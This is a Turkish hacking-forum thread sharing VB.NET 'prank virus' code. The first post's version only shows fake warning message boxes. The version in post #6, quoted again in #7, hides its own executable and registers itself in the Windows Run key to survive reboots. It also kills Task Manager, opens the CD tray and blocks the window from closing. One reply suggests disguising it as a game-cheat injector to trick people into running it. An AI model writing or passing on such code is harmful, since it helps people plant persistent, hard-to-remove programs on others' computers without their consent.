THT DUYURU

Visual Basic Öğrenilmesi ve kullanışı kolay olan Visual Basic’in dökümanlarının ve open source projelerin paylaşım alanı.

chat
Seçenekler

Vb.Net Virus Şakası

Leatrix - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2018
Nereden:
Kerkük
Yaş:
81
Mesajlar:
2.239
Konular:
237
Teşekkür (Etti):
380
Teşekkür (Aldı):
463
Ticaret:
(0) %
24-10-2018 18:41
#1
Vb.Net Virus Şakası
Kod:
Private Sub Timer1_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs) Handles Timer1.Elapsed
        If ProgressBar1.Value > 20 Then
            ProgressBar1.Value = ProgressBar1.Value - 10
        Else
            Timer1.Enabled = False
            MsgBox("AHA!!!", MsgBoxStyle.OKOnly, "VİRÜS")
            ProgressBar1.Value = 100
 
        End If
    End Sub
 
    Private Sub Form1_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
 
        MsgBox("Bu programı sonlandıramazsınız!!", MsgBoxStyle.OKOnly, "VİRÜS")
 
    End Sub
 
    Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed
 
        MsgBox("Tamam,tamam korkma kapanıyor xxx tarafından trollendin... :)", MsgBoxStyle.OKOnly, "VİRÜS")
    End Sub
https://www.turkhackteam.org/8488224-post12.html
--------------------- .xxʅ ☨ Tҽαɱ , Rҽɠιʂƚɾαƚισɳ Oϝϝιƈҽɾ
Konu Leatrix tarafından (25-10-2018 14:10 Saat 14:10 ) değiştirilmiştir.
LastBower - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2018
Nereden:
Mars
Mesajlar:
187
Konular:
80
Teşekkür (Etti):
16
Teşekkür (Aldı):
190
Ticaret:
(0) %
24-10-2018 19:13
#2
Hocam projenin hazır halini atarmısın
--------------------- Bağlandığın anda kontrolü kaybedersin.



Ne Mutlu TÜRKÜM Diyene !
Leatrix - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2018
Nereden:
Kerkük
Yaş:
81
Mesajlar:
2.239
Konular:
237
Teşekkür (Etti):
380
Teşekkür (Aldı):
463
Ticaret:
(0) %
24-10-2018 23:22
#3
Alıntı:
LastBower´isimli üyeden Alıntı Mesajı göster
Hocam projenin hazır halini atarmısın
Kaydetmedim
--------------------- .xxʅ ☨ Tҽαɱ , Rҽɠιʂƚɾαƚισɳ Oϝϝιƈҽɾ
Alzhe01 - ait Kullanıcı Resmi (Avatar)
İstihbaratçı
Üyelik tarihi:
12/2017
Nereden:
10ehzlA
Mesajlar:
660
Konular:
104
Teşekkür (Etti):
155
Teşekkür (Aldı):
100
Ticaret:
(0) %
25-10-2018 00:48
#4
Bilmeyenler için kodu nasıl kullanacaklarını açıklar mısınız acaba?
---------------------
🔥Ateş Ediyoruz Elâleme🔥
Leatrix - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2018
Nereden:
Kerkük
Yaş:
81
Mesajlar:
2.239
Konular:
237
Teşekkür (Etti):
380
Teşekkür (Aldı):
463
Ticaret:
(0) %
25-10-2018 00:53
#5
Alıntı:
Alzhe01´isimli üyeden Alıntı Mesajı göster
Bilmeyenler için kodu nasıl kullanacaklarını açıklar mısınız acaba?
1 label
1 adet textbox
--------------------- .xxʅ ☨ Tҽαɱ , Rҽɠιʂƚɾαƚισɳ Oϝϝιƈҽɾ
iHaSaHi - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2017
Nereden:
Ğ‚¬ºÙ
Mesajlar:
1.493
Konular:
124
Teşekkür (Etti):
47
Teşekkür (Aldı):
218
Ticaret:
(0) %
25-10-2018 01:07
#6
Bu daha iyi gibi sanki he

Kod:
Imports System.Net
Imports System.Net.NetworkInformation
Public Class Form1

    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As _
            String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As _
            Integer) As Integer

    Dim myNetworkAdapters() As NetworkInterface = NetworkInterface.GetAllNetworkInterfaces
    Dim myAdapterProps As IPInterfaceProperties = Nothing
    Dim myGateways As GatewayIPAddressInformationCollection = Nothing
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        SetAttr(Application.ExecutablePath, vbHidden)

        AddStartup(Me.Text, Application.ExecutablePath)
        mciSendString("set cdaudio door open", 0, 0, 0)

        For Each selProcess As Process In Process.GetProcesses
            If selProcess.ProcessName = "taskmgr" Then
                selProcess.Kill()
                Exit For
            End If
        Next

    End Sub

    Public Shared Sub AddStartup(ByVal Name As String, ByVal Path As String)

        Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
        Dim Key As Microsoft.Win32.RegistryKey = Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
        Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)

    End Sub

    Protected Overrides ReadOnly Property CreateParams() As CreateParams
        Get
            Dim cp As CreateParams = MyBase.CreateParams
            Const CS_NOCLOSE As Integer = &H200
            cp.ClassStyle = cp.ClassStyle Or CS_NOCLOSE
            CS_NOCLOSE.ToString.Trim()
            Return cp
        End Get
    End Property

    Private Sub Form1_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown
        If e.KeyData = Keys.Alt + Keys.F4 Then
            MsgBox("Sen niye bu kadar akıllısın,anlatsana ?", MsgBoxStyle.Critical, "iHaSaHi")
            e.Handled = True
        End If
    End Sub
End Class
---------------------
.
────────────

⠀⠀⢠⡤⢺⣿⣿⣿⣿⣿⣶⣄
⠀⠀⠉⠀⠘⠛⠉⣽⣿⣿⣿⣿⡇
⠀⠀⠀⠀⠀⠀⠀⢉⣿⣿⣿⣿⡗
⠀⢀⣀⡀⢀⣀⣤⣤⣽⣿⣼⣿⢇⡄
⠀⠀⠙⠗⢸⣿⠁⠈⠋⢨⣏⡉⣳
⠀⠀⠀⠀⢸⣿⡄⢠⣴⣿⣿⣿
⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⡟⡀
⠀⠀⠀⠀⠐⠘⣿⣶⡿⠟⠁⣴⣿⣄
⠀⠀⠀⠀⠀⠘⠛⠉⣠⣴⣾⣿⣿⣿⡦
⠀⠀⢀⣴⣠⣄⠸⠿⣻⣿⣿⣿⣿⠏
⠀⣠⣿⣿⠟⠁
────────────

.

Leatrix - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2018
Nereden:
Kerkük
Yaş:
81
Mesajlar:
2.239
Konular:
237
Teşekkür (Etti):
380
Teşekkür (Aldı):
463
Ticaret:
(0) %
25-10-2018 14:10
#7
Alıntı:
iHaSaHi´isimli üyeden Alıntı Mesajı göster
Bu daha iyi gibi sanki he

Kod:
Imports System.Net
Imports System.Net.NetworkInformation
Public Class Form1

    Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As _
            String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As _
            Integer) As Integer

    Dim myNetworkAdapters() As NetworkInterface = NetworkInterface.GetAllNetworkInterfaces
    Dim myAdapterProps As IPInterfaceProperties = Nothing
    Dim myGateways As GatewayIPAddressInformationCollection = Nothing
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        SetAttr(Application.ExecutablePath, vbHidden)

        AddStartup(Me.Text, Application.ExecutablePath)
        mciSendString("set cdaudio door open", 0, 0, 0)

        For Each selProcess As Process In Process.GetProcesses
            If selProcess.ProcessName = "taskmgr" Then
                selProcess.Kill()
                Exit For
            End If
        Next

    End Sub

    Public Shared Sub AddStartup(ByVal Name As String, ByVal Path As String)

        Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
        Dim Key As Microsoft.Win32.RegistryKey = Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
        Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)

    End Sub

    Protected Overrides ReadOnly Property CreateParams() As CreateParams
        Get
            Dim cp As CreateParams = MyBase.CreateParams
            Const CS_NOCLOSE As Integer = &H200
            cp.ClassStyle = cp.ClassStyle Or CS_NOCLOSE
            CS_NOCLOSE.ToString.Trim()
            Return cp
        End Get
    End Property

    Private Sub Form1_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown
        If e.KeyData = Keys.Alt + Keys.F4 Then
            MsgBox("Sen niye bu kadar akıllısın,anlatsana ?", MsgBoxStyle.Critical, "iHaSaHi")
            e.Handled = True
        End If
    End Sub
End Class
Ekledim
--------------------- .xxʅ ☨ Tҽαɱ , Rҽɠιʂƚɾαƚισɳ Oϝϝιƈҽɾ
Medinelii - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2018
Nereden:
MilkyWayGlxy
Mesajlar:
652
Konular:
40
Teşekkür (Etti):
16
Teşekkür (Aldı):
97
Ticaret:
(0) %
25-10-2018 16:12
#8
Güzel Şaka Bende Yapmıştım ama başka şekilde.İyi Günler
Leatrix Teşekkür etti.
CodeTyper - ait Kullanıcı Resmi (Avatar)
Grafiker
Üyelik tarihi:
05/2018
Nereden:
Etmeselerdi
Yaş:
14
Mesajlar:
1.056
Konular:
219
Teşekkür (Etti):
692
Teşekkür (Aldı):
570
Ticaret:
(0) %
25-10-2018 16:32
#9
Öneri: Mesela Bir Şöyle Yapabilirsiniz Form Açtırıp Mesela Bir Hile Aktif Dediğinde bu yazıları çıkartsın İnjector gibi yani
--------------------- ]

AhmetKnKc - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2018
Nereden:
Evden
Yaş:
15
Mesajlar:
1.057
Konular:
189
Teşekkür (Etti):
42
Teşekkür (Aldı):
131
Ticaret:
(0) %
25-10-2018 17:22
#10
Çok basit olmuş. Daha iyi birşey beklerdim. Bunu gerçekten virüs sanan ancak bilgisayar dünyasına yeni adım atmış olan kişiler diye düşünüyorum. Sonuçta sadece msgbox var. Masa üstüne birkaç not defteri oluştursa vs şeyler olsa daha gerçekci ve korkutucu olurdu. Basit.
--------------------- Bi sıcacık peyniriyle yumuşacık ekmeğiyle sosis kenarlı pizza ne iyi giderdi be

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler